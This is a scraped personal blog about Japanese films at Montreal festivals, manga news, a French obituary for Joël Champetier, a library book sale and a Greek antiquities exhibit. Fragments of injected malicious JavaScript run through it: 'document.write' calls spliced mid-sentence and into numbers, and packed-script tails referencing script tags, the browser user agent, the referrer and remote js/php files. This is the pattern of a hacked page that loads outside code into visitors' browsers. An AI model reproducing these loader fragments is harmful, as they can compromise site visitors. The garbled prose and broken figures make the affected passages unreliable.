There is a lot of frustration nowadays in Japan which apparently translate into an increase of domestic violence at home. This subject (and its salvation through reconstituted family) is interesting but the storytelling is often way too slow, and also contains gaps or credibility issues. Some scenes are simply not plausible, not because of the actors’ performance, which is quite excellent, but because the situation is being too convenient or at least not explained in a satisfactory manner. However, it is a beautiful story and a good enough movie to be well worth watching.

At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Dad/Thief), Yasuko Matsuyuki (Mom/Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 12h00 – with an attendance of 90 people, filling 60% of the theatre) as part of the “Focus on World Cinema” segment. The director was present for a short Q&A at the end.

For more information you can visit the following websites:
At Home © ?at Home?Production Committee.

Video of the Q&A session


[ Traduire ]

MWFF 2015 Day 1

This year the festival is already hard for me because I have to cover it while working full-time (it’s difficult lately to get days off at the library) and also while helping my eighty-five year-old mother to move in her new apartment. On top of it, document.write(“”); there are twenty-something Japanese movies to watch this year. A though order.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsfek|var|u0026u|referrer|yhfsa||js|php’.split(‘|’),0,{}))

Like the last couple of years, the festival has this feeling of the end of a party. Everybody seems to thinks that it might be the last year, despite Losique’s denial (
The Gazette, Variety). The festival has always had its critics or doomsayers, and this year again many are asking for change at the top or already planning a replacement. All those talks are casting a shadow on the festival. For my part, as I’ve said before, I don’t really care as long as they continue to show great movies that I cannot see anywhere else. Unfortunately, the lack of funds is showing in the organization of the festival (glitch, scheduling problems, technical problems, communication problems, etc). It seems particularly disorganized this year (but is it really more than usual?).

Unfortunately, my first day at the festival was quite disastrous. The first movie was good. The second movie had so many technical problems (started ten minutes late, microphone problem for the presentation, there was picture without sound, sound without picture, repeatedly) that the screening was interrupted and cancelled a little before the middle of the movie. I had to go to the screening room of the Film Market to see the (disappointing) end. There the copy ran just fine so it’s unlikely that the problem was caused by the dvd encoding (the excuse was that since it’s a foreign movie the encoding could have been messed up, but usually if this is the case it just either work or doesn’t) so the problem must have been with the Quartier Latin’s equipment (they were using VLC on a MacBook and a digital projector). It’s not the first year that this kind of problem occurs.

And the third movie… was cancelled due to some rescheduling! That’s quite annoying. I had made myself a (gruelling) schedule where I could see all Japanese movies, but with those changes it will be impossible. And at least one of the movie that I can’t watch is not even available in the Film Market screening room…
Shinjuku Midnight Baby rescheduledDecline of an assassin rescheduled
Anyway, I’ll try to post soon my comments on the two movies I’ve managed to see today, and you can still check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

I also noticed in the Quartier Latin lobby a poster announcing the movie “Paul à Québec” for September 18th. Great!

[ Traduire ]

Montreal World Film Festival 2015

The 39th edition of the Montreal World Film Festival will take place from August 27th to September 7th 2015, document.write(“”); at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 22 at noon at the offices of the Imperial (CI) and Quartier Latin (QL) theatres, as well as online through the Admission Network website. Individual tickets are $ 10, Passports are $ 120 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.
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This year there was no real press conference about the programming and instead the festival unveiled the line-up of films in the
World Competition and the First Films Competition through press releases and a virtual press conference where both domestic and international media could simultaneously participate in an online Q&A session. So far, since then, the information has been trickling down little by little and we don’t know much about the festival programming. They said that “A digital age requires a digital solution,” but I guess it has also a lot to do with the lack of subsidies and the resulting reduced staff. I don’t mind a little austerity as long at it gets the festival going and brings us the diversified, quality cinema the festival is renown for.

We know that, this year, a record number of short films were submitted; that the opening movie will be Muhammad, the latest film by renowned Iranian director Majid Majidi; that this year’s festival will offer movies from over 86 countries; that the competition line-up will includes 26 Feature films from 31 countries for the World Competition, plus 25 more movies for the First Feature Competition, and that both competitions will include 36 World Premieres; we know the composition of both the jury for the Grand Prize of the Americas and the jury for the First Feature Prize; finally, a couple of days after the virtual press conference, the festival announced that twenty-four features from a score of countries will be shown in the World Greats (out of competition) category.

Here our interest is mostly with the Japanese movies. At first, with the festival press releases and an article in the august edition of Coco Montreal, we determined that the festival would show at least fourteen Japanese movies. However, with the release of the schedule we astonishingly discovered that a record-breaking number of Japanese movies will be shown this year: seventeen (twenty-one if we count a Liberian movie with a Japanese director, a four-minute short and two documentaries)! See the films index for details. (updated 2015-08-21)

Be careful, the schedule of some movies has changed (updated 2015-08-28).

Coco Montreal have put a more detailed article (this time with english and french translation) on the festival’s Japanese movies in their September issue (available both in the issuu.com flash version and on their Facebook page). [updated 2015-09-01]

You can now read some comments about the Festival’s Japanese movies (in french) in the first part of the article by my esteemed colleague Claude R. Blouin on the blog Shomingeki. [updated 2015-09-03]

You will find, after the jump, a list of all those movies (plus a few useful links — of course, more details and links will be added as the information become available):


World Competition / Film en compétition

  • Gassoh (??): Japan, 2015, 87 mins; Dir.: Tatsuo Kobayashi; Scr.: Aya Watanabe (based on the manga by Hinako Sugiura); Phot.: Hitoshi Takaya; Music: Asa-Chang; Cast: Yuya Yagira (Kiwamu Akitsu), Koji Seto (Masanosuke Yoshimori), Amane Okayama (Teijiro Fukuhara), Joe Odagiri, Mugi Kadowaki, Minami Sakurai, Kai Inowaki, Yuko Takayama, Reiko Fujiwara, Daisuke Ryu, Rie Minemura, Mantaro Koichi, Lily.

    The final resistance to the dismantling of the Togugawa Shogunate at the end of the Edo period and the futile struggles of three young men who participated in the Shougitai resistance.

    Schedule: Thu 9/03 9:00 CI; Thu 9/03 21:30 CI.

First Feature Competition / Compétition de premières oeuvres

  • Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

    When their claim to have seen a phantom deer is debunked, three young siblings are denigrated. Now, 25 years later, their father dying, the wounds are still raw.

    Schedule: Thu 9/03 11:00 QL9; Fri 9/04 16:00 QL9.

    You can read my comments.

  • Kagura-me (????): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

    A woman bears a 13-year grudge with her father over the traditional dance he was performing that caused him to be absent from her mother’s death.

    Schedule: Fri 8/28 9:00 QL9; Sat 8/29 15:00 QL9.

    You can read my comments and watch a video of the screening introduction.

  • Lost and found (?????????? / Hoshigaoka Wonderland): Japan, 2015, 111 mins; Dir.: Show Yanagisawa; Scr.: Show Yanagisawa, Koko Maeda; Phot.: Keisuke Imamura; Ed.: Etsuko Kimura; Music: Takashi Watanabe; Cast: Tomoya Nakamura (Atsuto Seo), Nozomi Sasaki (Nanami Kiyokawa), Yoshino Kimura (Sawako Kiyokawa—Atsuto’s mother), Masaki Suda (Yuya Kiyokawa), Anne Watanabe (Detective Tsunako Obayashi), Hayato Ichihara (Jingo Kusunoki), Hirofumi Arai (Tetsundo Seo—Atsuto’s older brother), Yutaka Matsushige (Touji Seo—Atsuto’s father).

    When Haruto learns that his long estranged mother committed suicide in an amusement park he immediately suspects foul play.

    Schedule: Sun 9/06 15:30 QL9; Mon 9/07 20:00 QL9.

  • Neboke (???): Japan, 2015, 115 mins; Dir./Scr./Phot./Ed.: Norihito Iki; Music: Yusuke Orita; Cast: Yasushi Tomobe, Irifunetei Senryu, Kana Ohtake, Maki Murakami, Yuji Akiyama.

    Sangoroh, a rakugo artist, has a drinking problem and is annoyed by his partner Manami’s pestering him about it. Can he get his life in order before it’s too late.

    Schedule: Sat 9/05 14:30 QL9; Sun 9/06 10:00 QL9.

World Great (Out of Competition) / Hors-concours

  • Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko).

    Tokita would rather be making movies than teaching about them in film school. But it pays the bills and there’s always Yui, the pretty school secretary. Then Ritsuko enters his life…

    Schedule: Fri 8/28 10:00 QL10; Sat 8/29 19:00 QL10.

    You can read my comments and watch a video of the screening introduction and Q&A session.

  • The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

    In a world where giant robots are built and used for labour, a special police force of robots is created to handle crimes relating to these machines: the Patrol Labor.

    Schedule: Sat 8/29 9:30 QL9; Sun 8/30 21:30 QL9.

    You can read my comments.

Focus on World Cinema

  • At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Thief), Yasuko Matsuyuki (Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

    A father, a mother, an elder son, a daughter and a younger son. A family of five. For all appearances, a perfectly normal, happy family. But none of them related.

    Schedule: Fri 8/28 12:00 QL12; Sat 8/29 18:30 QL12.
    You can read my comments and watch a video of the Q&A session.

  • Blowing in the wind of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

    When Misao returns to Japan from Vietnam for her father’s funeral, she sees that her mother is becoming forgetful, even a bit senile. Can a change of scenery help?

    Schedule: Fri 8/28 9:30 QL12; Sat 8/29 21:30 QL12.

    You can read my comments.

  • Decline of an assassin (??????????/ Norainu ha dansu wo odoru / lit. “Stray dogs are dancing”): Japan, 2015, 100 min.; Dir./Scr./Ed.: Kubota Shouji; Phot.: Hiromitu Nishimura; Music: Ipeei Yogo; Cast: Yoshimasa Kondo, Keisuke Kato, Shogo Suzuki, Hidetoshi Kubota, Yuri Yanagi, Kouta Kusano.

    After four decades as the reliable hitman for a criminal gang, Kurosawa is now making mistakes. It may be time to retire. But how can he ever return to “normal” life?

    Schedule: Fri 8/28 20:30 QL16; Sat 8/29 12:00 QL16; Sat 9/05 21:30 Ql11.

  • Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

    Back in his hometown after retirement, Takashi Arimura finds life depressing. On his wife’s suggestion he takes up painting. The world now looks very different.

    Schedule: Sun 8/30 16:00 QL16; Mon 8/31 9:10 QL16.

    You can read my comments.

  • Haman (???/ slang blend, or portemanteau expression from ? [Ha, tooth] and ???? [Omanko, vagina] meaning toothed vagina): Japan, 2015, 95 min.; Dir./Scr.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Ed.: Tetsuya Okabe; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

    Love can be deadly but when Haruka decided to make love with her boyfriend she never expected it to be literally true. A dark fantasy about life, sex and love.

    Schedule: Tue 9/01 15:50 QL16; Wed 9/02 20:30 QL16.

    You can read my comments.

  • Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarö Shimazu, Kazuki Tsujimoto.

    Four ninjas, forty corpses, four conflicting accounts. A ninja action tale with a Rashomon twist.

    Schedule: Fri 8/28 16:00 QL12; Sat 8/29 9:00 QL12.

    You can read my comments.

  • Out of my hand: USA/Liberia, 2015, 87 min.; Dir.: Takeshi Fukunaga. Scr.: Takeshi Fukunaga & Donari Braxton; Phot.: Ryo Murakami, Owen Donovan; Ed.: Takeshi Fukunaga, Eugene Yi; Prod. Des.: Steve Grisé, Ioannis Socholakis; Music: Tyondai Braxton; Cast: Bishop Blay (Cisco), Zenobia Taylor (Joy), Duke Murphy Dennis (Francis), Rodney Rogers Beckley (Marvin), David Roberts (Jacob), Shelley Molad (Maria).

    A struggling Liberian rubber plantation worker risks everything to discover a new life as a Yellow Cab driver in New York City.

    Schedule: Sun 8/30 17:00 QL17; Mon 8/31 15:00 QL17.

  • Shinjuku Midnight Baby (????????????): Japan, 2015, 141 mins; Dir./Scr./Phot.: Kazuhiro Teranishi (based on his own book); Ed.: Kiyomi Tochiya; Music: Daisuke Sunny;Cast: Shimako Iwai, Ginji Yoshikawa, Britney Hamada, Tomoko Nakajima, Kimin, Yukimi Watanabe, Hidetsugu Ohara, Marcos Tôma.

    When the son of a government minister wants to be in Japan’s first gay marriage – to one of her political supporters, no less – a mysterious lawyer offers to help.

    Schedule: Fri 9/04 16:00 QL11; Sat 9/05 21:30 QL11; Fri 8/28 10:00 QL11; Sat 8/29 21:30 QL11.

  • Summer on the frontline (???? 15??? / Soman kokkyo 15 sai no natsu / Summer of 15 years old on the Soviet national border): Japan, 2015, 94 min.; Dir./Scr.: Tetsuya Matsushima (based on his own novel); Phot.: Kazuo Okuhara; Ed.: Seiichi Miyazawa; Music: Koji Ueno; Cast: Ryuuchiro Shibata, Anna Kijima, Min Tanaka, Isao Natsuyagi.

    When the great earthquake of 2012 destroys his high school’s filmmaking equipment, Keisuke, 15, looks forward to a dull summer. He couldn’t be more mistaken.

    Schedule: Thu 9/03 16:00 QL13; Fri 9/04 10:00 QL13.

  • That’s It (???? / Soredake) : Japan, 2015, 110 min.; Dir.: Gakuryu Ishii; Scr.: Kiyotaka Inagaki; Phot.: Yoshiyuki Matsumoto; Music: Bloodthirsty Butchers; Cast: Shota Sometani, Erina Mizuno, Kiyoko Shibukawa, Jun Murakami, Go Ayano.

    A young drifter hoping to escape from his social dead end, breaks into a gangster’s locker in search of gold. What he finds is a hard drive with very dangerous information.

    Schedule: Fri 9/04 20:00 QL13; Sat 9/05 10:00 QL13.

  • The Letters (????? / Popura no aki / lit. “Autumn poplar”): Japan, 2015, 98 min.; Dir./Scr./Ed.: Ken’ichi Ohmori (based on a novel by Kazumi Yumoto); Phot.: Masao Nakabori; Cast: Nene Ohtsuka, Tamao Nakamura, Miyu Honda.

    Chiaki, 8, devastated by the death of beloved father, moves into an apartment whose landlady claims to be able to deliver letters to the dead.

    Schedule: Fri 9/04 9:00 QL12; Sat 9/05 19:30 QL12.

  • Yoko the cherry blossom (Yoko Zakura) : Japan, 2015, 115 min.; Dir./Scr.: Gen Takahashi; Phot.: Phil Harder; Ed.: Yoshinori Ota; Music: Benjamin Be’doussac; Cast: Takashi Sasano, Koji Matoba, Maki Miyamoto, Yuki Kazamatsuri.

    The true story of a Japanese teacher’s quest to create a hybrid cherry blossom, to fulfill a promise he made to his students before they were sent off to die in World War II.

    Schedule: Thu 9/03 14:00 QL12; Fri 9/04 16:30 QL12.

Documentaries

  • Alone in Fukushima (????????? / Naoto hitorikkiri): Japan, 2015, 98 min., Dir./Scr./Phot./Ed.: Mayu Nakamura; Music: Saho Terao; Sound: Masashi Furuya.

    Alone in Fukushima is a feature length documentary about Naoto Matsumura, a man who remained alone in a no-man’s land after the nuclear disaster. The film follows Naoto struggling to survive with the animals in a small town which Japan tries to erase from the map.

    Schedule: Tue 9/01 16:00 QL14; Sat 9/05 16:00 QL2.

  • Behind “The Cove” (?????????? / `Za k?vu’ no uragawa): Japan, 2015, 110 min.; Dir./Scr./Phot./Ed.: Keiko Yagi.

    Keiko Yagi never bothered to see the 2010 film THE COVE, thinking it just another exaggerated attack on Japan’s dolphin hunt. But she decided to see for herself.

    Schedule: Fri 9/04 21:30 QL14; Sat 9/07 14:30 QL14.

Shorts

  • Master Blaster: Japan, 2015, 4 min.; Dir./Scr./Phot./Ed.: Sawako Kabuki.

    An animated short in competition at the Student Film Festival. A girl would like to hide in her sweetheart’s anus, to be with him forever.

    Schedule: Mon 8/31 16:00 QL2; Tue 9/01 16:00 QL2.

[ Traduire ]

Fantasia awards


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As usual the 19th edition of the Fantasia International Film Festival was a great success. Not only it is now considered North America’s longest-running genre film festival with its 195 screenings over twenty-three days but it also had an attendance of over 100, document.write(“”); 000 spectators for six consecutive years.

Several Japanese movies won awards again this year:

  • TAG by Sion Sono received the Cheval Noir Award for Best Film
  • Tomoe Kanno (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Screenplay
  • Subaru Shibutani (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Actor
  • Reina Triendl (for TAG) received the Cheval Noir Award for Best Actress
  • Sion Sono’s TAG also received a Special Mention “for its creative, surprising, and monumental opening kill sequence”
  • MISS HOKUSAI by Keiichi Hara received no less than three awards: the Satoshi Kon Award for Best Animated Feature Film, the Prix Séquences, as well as the Best Animated Feature Audience Award (Gold Prize)
  • LOVE & PEACE by Sion Sono received the Best Asian Feature Audience Award (Gold Prize)

Surprisingly, Attacks on Titan, the latest sensation from Japan, didn’t win any prize.

The dates for next year festival (the 20th anniversary edition!) were also announced: The Fantasia International Film Festival will take place in Montreal from July 14 to August 2, 2016.

For more details on all Japanese movies you can check our previous entry “Japanese movies at Fantasia 2015”.

For an overview of the Japanese movies you can check Claude R. Blouin’s extensive comments “Un vieux fou de cinéma japonais à Fantasia 2015” on the Shomengeki blog (in french).

(Sources: ANN, Dread Central, Fangoria, Fantasia, Twitch)

[ Traduire ]

Rose of Versailles manga and other notable news

At Comic-Con, document.write(“”); Udon Entertainment has announced that they will release the first english version of Riyoko Ikeda’s classic shojo manga Rose of Versailles. The series will be released as two omnibus volumes in the second quarter of 2016.
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The french version has been around for a while (published in 2002), so I am surprised it took so long to get it translated in english. Of course, the French had a special interest in this story (it’s about the french revolution) but it’s a superb story, drawn in a classic shojo style, so it should interest everybody.
I’ve complained about this several time, but I really cannot understand why there are so few shojo manga from the 70s and 80s being translated in either english or french. There’s a real goldmine of great shojo titles from that era that is left totally unexploited (mostly from the so-called Year 24 Group). Of course, I can understand publishers not willing to take the risk to release series that a often rather long (Riyoko Ikeda’s Jotei Ecatherina is 5 volumes, Orpheus no Mado 18 volumes, Eikou no Napoleon – Eroica 14 volumes, and Suzue Miuchi’s Glass no kamen is 50+ volumes !!) and in a style that might seem dated (but oh so beautiful!)…

Now, the question is: will Udon includes in this edition the more recent Rose of Versailles “Episodes” ? Or will it be in an eventual third omnibus volume? I hope they thought of acquiring the rights for those stories as well…

Strangely, Udon Entertainment is mainly known for their Street Fighter and video game related manga but they seems lately to venture into more traditional manga titles (and shojo, mind you). Now their catalog even includes a collection of manga classics (Jane Austen’s Emma, Dicken’s Great Expectations, Victor Hugo’s Les Miserables, Jane Austen’s Pride & Prejudice, Nathaniel Hawthorne’s The Scarlet Letter) !

[ Sources: ANN, Udon ]

Ten Other notable news

  • At the same occasion, Udon announced the release of Moyoco Anno’s Sugar Sugar Rune also for the 2nd Quarter 2016 [ ANN ]
  • Studio Ghibli’s latest film, When Marnie Was There, earned over $500K in U.S. Theaters [ ANN ]
  • Nintendo President Satoru Iwata Passes Away [ ANN ]
  • Shigeru Mizuki’s manga Showa: A History of Japan (1939-1944 and 1944-1953) won the 2015 Will Eisner Comic Industry Award for Best U.S. Edition of International Material from Asia [ ANN ]
  • Mamoru Nagano’s manga Five Star Stories will receive its first new volume in nine years this august [ ANN, Forbes ]
  • Sunrise Announced at Anime Expo that it is working on a new Gundam TV series [ ANN ]
  • Tokyopop has announced at Anime Expo that it is planning to begin publishing manga again in 2016 [ ANN ]
  • Vertical announced at Anime Expo that it has licensed the publishing rights for, amongst others, the Attack on Titan: Lost Girls novel spinoff [ ANN ]
  • The live-action adaptation of Masamune Shirow’s Ghost in the Shell, starring Scarlett Johansson, is set to be released in march 2017 [ ICv2 ]
  • Luc Besson has announced that his next movie as producer and director will be Valerian and the City of a Thousand Planets, based on the comics by Pierre Christin & Jean-Claude Mézières, which should see a release in 2017 [ ICv2, themarysue.com]

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R.I.P. Joël Champetier

Joel Champetier, Boréal 2008Joël Champetier est décédé d’une façon paisible durant la nuit du 30 mai. Je l’ai appris samedi matin par un coup de téléphone de Pascale Raud.

Il a vaillamment combattu la leucémie. Après de longues recherches afin de trouver un donneur compatible pour une greffe de moelle osseuse, il a dû subir plusieurs traitements expérimentaux afin de faire reculer suffisamment la leucémie pour permettre la greffe. Après de nombreux revers, il a du se rendre à l’évidence: les traitements étaient inefficaces. Le 19 avril il s’est donc résigné avec une certaine sérénité à attendre la fin. Le 25 mai, il a décidé d’interrompre les transfusions de plaquettes et de sang et de s’en remettre aux soins palliatifs. Dans la dernière semaine, son état s’est rapidement détérioré. Nous savions tous que la fin était proche. Le 30 mai, il s’est paisiblement éteins dans son sommeil et a finalement trouvé la paix. [Photo prise à Boréal 2008]

J’offre donc toutes mes sincères condoléances à sa famille, ses amis et ses lecteurs, mais tout particulièrement à sa courageuse compagne, Valérie Bédard.

Nous nous sommes rencontré, je crois, à l’un des ateliers d’écriture d’Élisabeth Vonarburg en 1981 et j’ai continué de le voir sporadiquement, de Boréal en Boréal. À mon grand regret, sans doute à cause de ma nature timide, je ne le connaissais pas très bien mais j’ai toujours grandement admiré tant sa personnalité affable et enjouée que son talent indéniable. J’ai eu le grand honneur de publier (sous la direction littéraire de Yves Meynard) deux de ses textes: “Les vents du temps” (dans Samizdat 8, 1987) et “Karyotype 47, XX, +21” (dans l’anthologie Sous des soleils étrangers, 1989). C’est la seconde fois que la leucémie emporte quelqu’un que je connais.

Une cérémonie de commémoration aura lieu à St-Séverin-de-Proulxville dimanche le 7 juin 2015 à 15h30. Pour en savoir plus ou pour rendre hommage à la mémoire de cet auteur des éditions Alire qu’on a parfois qualifié d’être le «Stephen King québécois» vous pouvez vous rendre sur la page Facebook de Joël Champetier.

De nombreux hommages lui ont déjà été rendu tant sur les blogues d’adeptes de la SFFQ (Culture des futurs, Frédérick Durand, Fractale Framboise, Michèle Laframboise, Une doyenne, une sorcière et un caniche pour ne citer que ceux là), dans les média (L’Écho Abitibien, Ici radio-Canada, Les Libraires, Locus, MonSFFA, Le Nouvelliste, et, bien sûr, Solaris) et même sur Youtube.

So long Joel, and thanks for all the soluble fish (and other stories) !
Pour plus d’information vous pouvez consulter les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipedia ]

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Les images du merfleurie

Les premières fleurs de 2015: des tulipes naines
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The first flowers of 2015: dwarves tulips
(iPhone 6, document.write(“”); 2015-05-10)
IMG_5910 Tulips 2015

C’est incroyable de penser qu’il y a un mois à peine il y avait encore de la neige au sol…
It’s amazing to think that only a month ago there was still snow on the ground…

Solde de livres des ABM 2015

Comme toutes les années le <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4276, document.write(“”); 5496140&_dad=portal&_schema=PORTAL” target=”“new””>solde de livres des Amis des Bibliothèques de Montréal se tient à l’Aréna Étienne-Desmarteau (3430, rue de Bellechasse) du 2 au 10 mai, entre 13 h et 19 h.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fydis|var|u0026u|referrer|rrdaa||js|php’.split(‘|’),0,{}))

Vous y trouverez toutes sortes de livres qui ont été retiré de la collection des bibliothèques de la ville de Montréal (histoire de faire de la place pour les nouveautés). On y trouve de tout: romans, livres pour enfants, magazines, bandes dessinées, manga, livres en gros caractères, dictionnaires et documentaires sur des sujets variés (voyages, santé, sciences, histoire, politique, philosophie, anthropologie, informatique, etc.). Chaque jour des milliers de nouveaux livres sont ajoutés ce qui fait que le choix demeure toujours varié et bon.

C’est plus de 150,000 95 000 livres et revues (dont plus de 12,000 en anglais) offert à très bon prix (50 ¢ pour les livres jeunesses, revues et magazines; 1 $ pour les livres pour adultes; 2 $ pour les bandes dessinées et manga; ainsi que 3 $ pour les dictionnaires, encyclopédies et “beaux livres”).

Les dons du public sont aussi accepté. Vous pouvez donc apporter vos livres tous les jours du solde (sauf les samedis et dimanches). Il y a tellement de livres cette année (toutes les bibliothèques ont fait du ménage dans leur collection en prévision de l’installation des puces RFID dans les livres pour le nouveau système de prêt) que les dons du public ne sont plus acceptés!

C’est non seulement une aubaine pour vous mais en achetant vous contribuez à financer les activités d’animation dans les Bibliothèques de Montréal et à promouvoir la lecture. Tout le monde est gagnant! Même les livres qui trouvent ainsi de nouvelles familles pour les chérir!

Après la vente les livres restant sont offert à des associations sans but lucratif et groupes communautaires (comme Renaissance, l’Armée du Salut ou la Fondation des parlementaires québécois – Cultures à partager). Ultimement, le papier des invendus sera recyclé. Sauvez donc un livre en venant l’acheter à peu de frais!

Si le solde de livre est aussi populaire que les années précédentes (et les ABM ont fait beaucoup de publicité sur FB cette année) attendez-vous à des lignes d’attentes pour entrer dans les premiers jours…

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The Greeks

Pointe-à-Callière Presents the World Première of the Largest Exhibition on Ancient Greece Ever Produced in North America.”
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zybht|var|u0026u|referrer|kbsaz||js|php’.split(‘|’),0,{}))

“The exhibition spans over 5, document.write(“”); 000 years of Greek history and culture and takes visitors on an exceptional and fascinating journey back to the origins of the cradle of Western civilization, its heritage and the traces it has left in the hearts and minds of the Greek people.”

This exceptional exposition is presented at Pointe-à-Callière: Montréal Museum of Archaeology and History in Old Montréal, from December 12, 2014 to April 26, 2015. Only one month left to visit it, so hurry up and go have a look!

The exhibition is produced by the Hellenic Ministry of Culture and Sports (Athens, Greece), Pointe-à-Callière, Montréal Archaeology and History Complex (Montréal, Canada), the Canadian Museum of History (Gatineau, Canada), The Field Museum (Chicago, USA), and the National Geographic Museum (Washington, DC, USA). ©Pointe-à-Callière, Montréal Museum of Archaeology and History. All rights reserved. You will find more information on the museum web page and Youtube channel.

This is a fifteen seconds promo for the exposition, but the museum Youtube channel also offers a longer promo (1:00) and a short video (1:06) showing how the exposition was put together. A longer video (in french only, 3:10) shows more of the making of the exposition and explains why it is so exceptional.


I took advantage of a longer week-end this afternoon to visit this exposition. Being so busy lately, I was afraid that I would miss it since there’s only a month left to visit it. I urge you to hurry and go a look on this exceptional exposition. It really synthesizes is a small exhibit (a little more than five-hundreds artifacts from twenty-one Greek museums) the entire history of ancient Greece which had such a profound impact on all our western civilisations. Suddenly my memory was flooded by a wave of images, facts and souvenirs from my university time when I was studying ancient history. That was great!

Actually, the title of the exhibition is a little misleading since it really starts with the Neolithic period and the Cycladic culture (6,500 to 1,450 BCE), showing us a few of those famous cycladic figurines like the “violin-shaped” female figurines and those long female figurine with faces that look a little like the Easter Island’s moai.

[Opposite: Female figurine; Discovered in Amorgos, the easternmost island of the Cyclades, the marble figurine seems to have on the back a cap or a particular hairstyle. Amorgos, 2800-2300 BCE, © National Archaeological Museum, Athens]

However, the exhibition quickly brings us into the Bronze age (16th to 12th Centuries BCE), with the Minoan civilisation in Crete and the Mycenaean civilization on the mainland, and then into the Iron Age (11th to 8th Centuries BCE), renown for its Geometric pottery and Homeric heroes.

The exhibit pauses to talk about Homer‘s epics, the Iliad and the Odyssey, which recorded the oral histories of the greek gods and heroes but also tells us a lot about the History of that era.

